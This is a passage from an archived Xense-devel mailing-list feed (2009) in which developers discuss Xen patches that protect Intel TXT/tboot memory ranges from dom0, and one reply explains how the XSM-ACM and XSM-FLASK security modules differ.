font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
{&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
printk(&amp;quot;e820 overflow: leaking RAM
%&amp;quot;PRIx64&amp;quot;-%&amp;quot;PRIx64&amp;quot;\n&amp;quot;,&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
e, re);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
e820-&amp;gt;map[i].size = s - rs;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
{&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
printk(&amp;quot;e820 overflow: leaking RAM
%&amp;quot;PRIx64&amp;quot;-%&amp;quot;PRIx64&amp;quot;\n&amp;quot;,&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
rs, s);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
e820-&amp;gt;map[i].addr = e;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
e820-&amp;gt;map[i].size = re - e;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return 1;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+/* Reserve RAM area (@s,@e) in the specified e820
map. */&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+int __init reserve_e820_ram(struct e820map *e820,
uint64_t s, uint64_t e)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+{&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp; return reserve_e820(E820_RAM,
e820, s, e, E820_RAM);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+/* Reserve RESERVE area (@s, @e) as UNUSABLE in the
specified e820 map. */&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+int reserve_e820_reserved(struct e820map *e820,
uint64_t s, uint64_t e)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+{&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp; return
reserve_e820(E820_RESERVED, e820, s, e, E820_UNUSABLE);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;&amp;nbsp;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;&amp;nbsp;unsigned long __init init_e820(&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal&gt;&lt;span style='font-size:11.0pt;font-family:&quot;Calibri&quot;,&quot;sans-serif&quot;;
color:#1F497D'&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal&gt;&lt;span style='font-size:11.0pt;font-family:&quot;Calibri&quot;,&quot;sans-serif&quot;;
color:#1F497D'&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;div style='border:none;border-left:solid blue 1.5pt;padding:0in 0in 0in 4.0pt'&gt;

&lt;div&gt;

&lt;div style='border:none;border-top:solid #B5C4DF 1.0pt;padding:3.0pt 0in 0in 0in'&gt;

&lt;p class=MsoNormal&gt;&lt;b&gt;&lt;span style='font-size:10.0pt;font-family:&quot;Tahoma&quot;,&quot;sans-serif&quot;'&gt;From:&lt;/span&gt;&lt;/b&gt;&lt;span style='font-size:10.0pt;font-family:&quot;Tahoma&quot;,&quot;sans-serif&quot;'&gt; Keir Fraser
[mailto:&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21578405&amp;i=0&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;keir.fraser@...&lt;/a&gt;] &lt;br&gt;
&lt;b&gt;Sent:&lt;/b&gt; Tuesday, January 20, 2009 12:57 AM&lt;br&gt;
&lt;b&gt;To:&lt;/b&gt; Cihula, Joseph; &lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21578405&amp;i=1&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;xen-devel@...&lt;/a&gt;;
&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21578405&amp;i=2&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;xense-devel@...&lt;/a&gt;&lt;br&gt;
&lt;b&gt;Cc:&lt;/b&gt; Wang, Shane&lt;br&gt;
&lt;b&gt;Subject:&lt;/b&gt; Re: [PATCH] txt: 2/6 - explicitly protect TXT addr ranges from
dom0&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;/div&gt;

&lt;/div&gt;

&lt;p class=MsoNormal&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='margin-bottom:12.0pt'&gt;&lt;span style='font-size:11.0pt;
font-family:&quot;Calibri&quot;,&quot;sans-serif&quot;'&gt;Xen tracks protected memory regions in its
private e820 structure. If tboot is no longer marking E820_UNUSABLE in e820,
then have Xen manually add the regions to its private e820. Then you
won&amp;#8217;t need your new ad hoc structure plus needing to process that new
structure in various places.&lt;br&gt;
&lt;br&gt;
&amp;nbsp;-- Keir&lt;br&gt;
&lt;br&gt;
On 20/01/2009 05:49, &amp;quot;Cihula, Joseph&amp;quot; &amp;lt;&lt;a href=&quot;joseph.cihula@intel.com&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;joseph.cihula@...&lt;/a&gt;&amp;gt; wrote:&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;

&lt;p class=MsoNormal&gt;&lt;span style='font-size:11.0pt;font-family:&quot;Calibri&quot;,&quot;sans-serif&quot;'&gt;tboot
no longer marks the TXT heap/SINIT/private config space as E820_UNUSABLE in the
e820 table, so Xen must explicitly disallow those regions from dom0.&lt;br&gt;
&lt;br&gt;
Signed-off-by: Shane Wang &amp;lt;&lt;u&gt;&lt;span style='color:blue'&gt;&lt;a href=&quot;shane.wang@intel.com&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;shane.wang@...&lt;/a&gt;&lt;/span&gt;&lt;/u&gt;&amp;gt;&lt;br&gt;
Signed-off-by: Joseph Cihula &amp;lt;&lt;u&gt;&lt;span style='color:blue'&gt;&lt;a href=&quot;joseph.cihula@intel.com&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;joseph.cihula@...&lt;/a&gt;&lt;/span&gt;&lt;/u&gt;&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;

&lt;/div&gt;

&lt;/div&gt;

&lt;/body&gt;

&lt;/html&gt;
&lt;br /&gt;_______________________________________________
&lt;br&gt;Xense-devel mailing list
&lt;br&gt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21578405&amp;i=3&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;Xense-devel@...&lt;/a&gt;
&lt;br&gt;&lt;a href=&quot;http://lists.xensource.com/xense-devel&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://lists.xensource.com/xense-devel&lt;/a&gt;&lt;br&gt;</content>
	<link rel="alternate" type="text/html" href="http://old.nabble.com/-PATCH--txt%3A-2-6---explicitly-protect-TXT-addr-ranges-from-dom0-tp21557519p21578405.html" />
</entry>

<entry>
	<id>tag:old.nabble.com,2006:post-21574361</id>
	<title>Re: Question about XSM-ACM XSM-FLASK differences</title>
	<published>2009-01-20T15:52:07Z</published>
	<updated>2009-01-20T15:52:07Z</updated>
	<author>
		<name>George S. Coker, II</name>
	</author>
	<content type="html">&lt;br&gt;ACM and FLASK are security modules under the XSM framework. &amp;nbsp;Only XSM-FLASK
&lt;br&gt;is based on the Flask architecture. &amp;nbsp;Both modules implement type enforcement
&lt;br&gt;but differ in the granularity of the enforcement.
&lt;br&gt;&lt;br&gt;XSM-ACM(sHype) is described in the open literature,
&lt;br&gt;&lt;br&gt;&lt;a href=&quot;http://domino.watson.ibm.com/library/cyberdig.nsf/papers/5FF6B8DE618BCF30852&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://domino.watson.ibm.com/library/cyberdig.nsf/papers/5FF6B8DE618BCF30852&lt;/a&gt;&lt;br&gt;570230052518A/$File/rc23629.pdf
&lt;br&gt;&lt;br&gt;and
&lt;br&gt;&lt;br&gt;&lt;a href=&quot;http://domino.watson.ibm.com/library/cyberdig.nsf/papers/265C8E3A6F95CA8D852&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://domino.watson.ibm.com/library/cyberdig.nsf/papers/265C8E3A6F95CA8D852&lt;/a&gt;&lt;br&gt;56FA1005CBF0F/$File/rc23511.pdf
&lt;br&gt;&lt;br&gt;XSM-FLASK is based on the same security architecture (Flask) and goals as
&lt;br&gt;SELinux, which is described in the open literature,
&lt;br&gt;&lt;br&gt;&lt;a href=&quot;http://www.nsa.gov/research/_files/selinux/papers/module.pdf&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://www.nsa.gov/research/_files/selinux/papers/module.pdf&lt;/a&gt;&lt;br&gt;&lt;br&gt;and
&lt;br&gt;&lt;br&gt;&lt;a href=&quot;http://www.nsa.gov/research/_files/selinux/papers/slinux.pdf&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://www.nsa.gov/research/_files/selinux/papers/slinux.pdf&lt;/a&gt;&lt;br&gt;&lt;br&gt;The scope for XSM-FLASK is limited to Xen. &amp;nbsp;The XSM-FLASK module implements
&lt;br&gt;a separate and distinct security server from SELinux. &amp;nbsp;The subjects,
&lt;br&gt;objects, and permissions described in the XSM-FLASK policy are relevant only
&lt;br&gt;to Xen. &amp;nbsp;There is no functional dependency between XSM-FLASK and SELinux
&lt;br&gt;guests. &amp;nbsp;However, one uses the SELinux tools and policy grammar to construct
&lt;br&gt;and analyze XSM-FLASK policies.
&lt;br&gt;&lt;br&gt;In a system running an SELinux guest and an XSM-FLASK enabled hypervisor,
&lt;br&gt;there are two security servers. &amp;nbsp;One security server is in the SELinux
&lt;br&gt;guest. &amp;nbsp;The other security server is in the XSM-FLASK enabled hypervisor.
&lt;br&gt;Each security server is loaded with a policy that is relevant only to the
&lt;br&gt;SELinux guest or XSM-Flask enabled hypervisor, respectively.
&lt;br&gt;&lt;br&gt;Let me know if this doesn't answer your questions.
&lt;br&gt;&lt;br&gt;On 1/16/09 4:07 AM, &amp;quot;Atsushi SAKAI&amp;quot; &amp;lt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21574361&amp;i=0&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;sakaia@...&lt;/a&gt;&amp;gt; wrote:
&lt;br&gt;&lt;div class='shrinkable-quote'&gt;&lt;br&gt;&amp;gt; Hi,
&lt;br&gt;&amp;gt; 
&lt;br&gt;&amp;gt; I have a question about XSM-ACM(sHype) and XSM-FLASK difference.
&lt;br&gt;&amp;gt; These two are based on Flask model.
&lt;br&gt;&amp;gt; So I wan to know the difference of these two.
&lt;br&gt;&amp;gt; 
&lt;br&gt;&amp;gt; Is this is only a implementation difference?
&lt;br&gt;&amp;gt; (like a policy description format etc.)
&lt;br&gt;&amp;gt; 
&lt;br&gt;&amp;gt; Or any other difference exists?
&lt;br&gt;&amp;gt; 
&lt;br&gt;&amp;gt; I think XSM-FLASK policy format is same as SELinux one.
&lt;br&gt;&amp;gt; But Security Server is splited between Linux/Xen.
&lt;br&gt;&amp;gt; In this situation,
&lt;br&gt;&amp;gt; it looks same XSM-ACM and XSM-FLASKin a view from Security Server.
&lt;br&gt;&amp;gt; 
&lt;br&gt;&amp;gt; If this discussion is already done,
&lt;br&gt;&amp;gt; Please suggest me a pointer.
&lt;br&gt;&amp;gt; 
&lt;br&gt;&amp;gt; Thanks
&lt;br&gt;&amp;gt; Atsushi SAKAI
&lt;br&gt;&amp;gt; 
&lt;br&gt;&amp;gt; 
&lt;br&gt;&amp;gt; 
&lt;br&gt;&amp;gt; _______________________________________________
&lt;br&gt;&amp;gt; Xense-devel mailing list
&lt;br&gt;&amp;gt; &lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21574361&amp;i=1&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;Xense-devel@...&lt;/a&gt;
&lt;br&gt;&amp;gt; &lt;a href=&quot;http://lists.xensource.com/xense-devel&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://lists.xensource.com/xense-devel&lt;/a&gt;&lt;/div&gt;&lt;br&gt;-- 
&lt;br&gt;George S. Coker, II &amp;lt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21574361&amp;i=2&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;gscoker@...&lt;/a&gt;&amp;gt;
&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;_______________________________________________
&lt;br&gt;Xense-devel mailing list
&lt;br&gt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21574361&amp;i=3&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;Xense-devel@...&lt;/a&gt;
&lt;br&gt;&lt;a href=&quot;http://lists.xensource.com/xense-devel&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://lists.xensource.com/xense-devel&lt;/a&gt;&lt;br&gt;</content>
	<link rel="alternate" type="text/html" href="http://old.nabble.com/Question-about-XSM-ACM-XSM-FLASK-differences-tp21495129p21574361.html" />
</entry>

<entry>
	<id>tag:old.nabble.com,2006:post-21557785</id>
	<title>RE: [PATCH] txt: 0/6 - Overview</title>
	<published>2009-01-19T22:23:21Z</published>
	<updated>2009-01-19T22:23:21Z</updated>
	<author>
		<name>Cihula, Joseph</name>
	</author>
	<content type="html">Hold off on these patches--there appear to be a few issues when I run them on the current tip.
&lt;br&gt;&lt;br&gt;Joe
&lt;br&gt;&lt;div class='shrinkable-quote'&gt;&lt;br&gt;&amp;gt; -----Original Message-----
&lt;br&gt;&amp;gt; From: &lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21557785&amp;i=0&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;xense-devel-bounces@...&lt;/a&gt; [mailto:&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21557785&amp;i=1&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;xense-devel-bounces@...&lt;/a&gt;]
&lt;br&gt;&amp;gt; On Behalf Of Cihula, Joseph
&lt;br&gt;&amp;gt; Sent: Monday, January 19, 2009 9:48 PM
&lt;br&gt;&amp;gt; To: &lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21557785&amp;i=2&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;xen-devel@...&lt;/a&gt;; &lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21557785&amp;i=3&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;xense-devel@...&lt;/a&gt;
&lt;br&gt;&amp;gt; Cc: Wang, Shane; Keir Fraser
&lt;br&gt;&amp;gt; Subject: [Xense-devel] [PATCH] txt: 0/6 - Overview
&lt;br&gt;&amp;gt;
&lt;br&gt;&amp;gt; This patch series are changes to Xen to support new functionality, and a changed API, in the
&lt;br&gt;&amp;gt; tboot project (see &lt;a href=&quot;http://sourceforge.net/projects/tboot&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/projects/tboot&lt;/a&gt;&amp;nbsp;for more info about tboot). &amp;nbsp;Some of
&lt;br&gt;&amp;gt; these changes originated from comments received when the first set of Linux tboot/Intel(r) TXT
&lt;br&gt;&amp;gt; patches were posted to LKML.
&lt;br&gt;&amp;gt;
&lt;br&gt;&amp;gt; Attached to this patch is a single patch to be applied to the current tip of the tboot source
&lt;br&gt;&amp;gt; tree (located at &lt;a href=&quot;http://www.bughost.org/repos.hg/tboot.hg&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://www.bughost.org/repos.hg/tboot.hg&lt;/a&gt;). &amp;nbsp;Due to the API change, for those
&lt;br&gt;&amp;gt; who wish to test the patches, it would be best to apply all of the tboot patch at once and
&lt;br&gt;&amp;gt; test with all of the Xen patches applied to Xen.
&lt;br&gt;&amp;gt;
&lt;br&gt;&amp;gt; Since the API changes are not backwards compatible, the resulting tboot will not work with a
&lt;br&gt;&amp;gt; Xen that does not have the patches applied. &amp;nbsp;Likewise, a Xen with these patches applied will
&lt;br&gt;&amp;gt; not work with the un-patched tboot. &amp;nbsp;To keep backward compatibility would have left the
&lt;br&gt;&amp;gt; interface and code fairly ugly and didn't seem worth the trouble.
&lt;br&gt;&amp;gt;
&lt;br&gt;&amp;gt; The Xen patches are as follows:
&lt;br&gt;&amp;gt;
&lt;br&gt;&amp;gt; xen-txt-01-xen_phys_addr_start_fix.patch &amp;nbsp;- &amp;quot;fix&amp;quot; xen_phys_start for 32b builds
&lt;br&gt;&amp;gt; xen-txt-02-protect_txt_ranges.patch &amp;nbsp; &amp;nbsp; &amp;nbsp; - explicitly protect TXT addr ranges from dom0
&lt;br&gt;&amp;gt; xen-txt-03-use_protected_dmar.patch &amp;nbsp; &amp;nbsp; &amp;nbsp; - use TXT's DMA-protected DMAR table to setup VT-d
&lt;br&gt;&amp;gt; xen-txt-04-acpi_gas_support.patch &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - ACPI Generic Address Structure for tboot shutdown
&lt;br&gt;&amp;gt; xen-txt-05-unified_shutdown_entry.patch &amp;nbsp; - single tboot entry point for shutdown
&lt;br&gt;&amp;gt; xen-txt-06-hypervisor_s3_integrity.patch &amp;nbsp;- hypervisor integrity on S3
&lt;br&gt;&amp;gt;
&lt;br&gt;&amp;gt; We are currently working on a patch that will extend the S3 integrity to domains, as
&lt;br&gt;&amp;gt; configurable via a domain's config file (and always for dom0).
&lt;br&gt;&amp;gt;
&lt;br&gt;&amp;gt; The patches apply cleanly to the latest xen-unstable.
&lt;br&gt;&amp;gt;
&lt;br&gt;&amp;gt; Joe and Shane
&lt;/div&gt;&lt;br&gt;_______________________________________________
&lt;br&gt;Xense-devel mailing list
&lt;br&gt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21557785&amp;i=4&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;Xense-devel@...&lt;/a&gt;
&lt;br&gt;&lt;a href=&quot;http://lists.xensource.com/xense-devel&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://lists.xensource.com/xense-devel&lt;/a&gt;&lt;br&gt;</content>
	<link rel="alternate" type="text/html" href="http://old.nabble.com/-PATCH--txt%3A-0-6---Overview-tp21557482p21557785.html" />
</entry>

<entry>
	<id>tag:old.nabble.com,2006:post-21557558</id>
	<title>[PATCH] txt: 6/6 - hypervisor integrity on S3</title>
	<published>2009-01-19T21:50:31Z</published>
	<updated>2009-01-19T21:50:31Z</updated>
	<author>
		<name>Cihula, Joseph</name>
	</author>
	<content type="html">When launched from tboot, utilise tboot interface to provide integrity protection to the hypervisor during S3
&lt;br&gt;&lt;br&gt;Signed-off-by: Joseph Cihula &amp;lt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21557558&amp;i=0&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;joseph.cihula@...&lt;/a&gt;&amp;gt;
